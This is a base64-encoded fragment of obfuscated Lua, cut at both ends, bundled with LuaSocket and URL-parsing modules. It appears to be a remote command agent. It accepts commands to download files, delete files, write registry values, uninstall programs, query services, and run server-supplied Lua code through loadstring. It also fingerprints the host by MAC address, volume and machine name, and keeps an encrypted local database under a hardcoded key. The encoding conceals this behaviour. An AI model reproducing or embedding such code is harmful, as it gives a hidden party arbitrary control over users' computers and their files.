dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
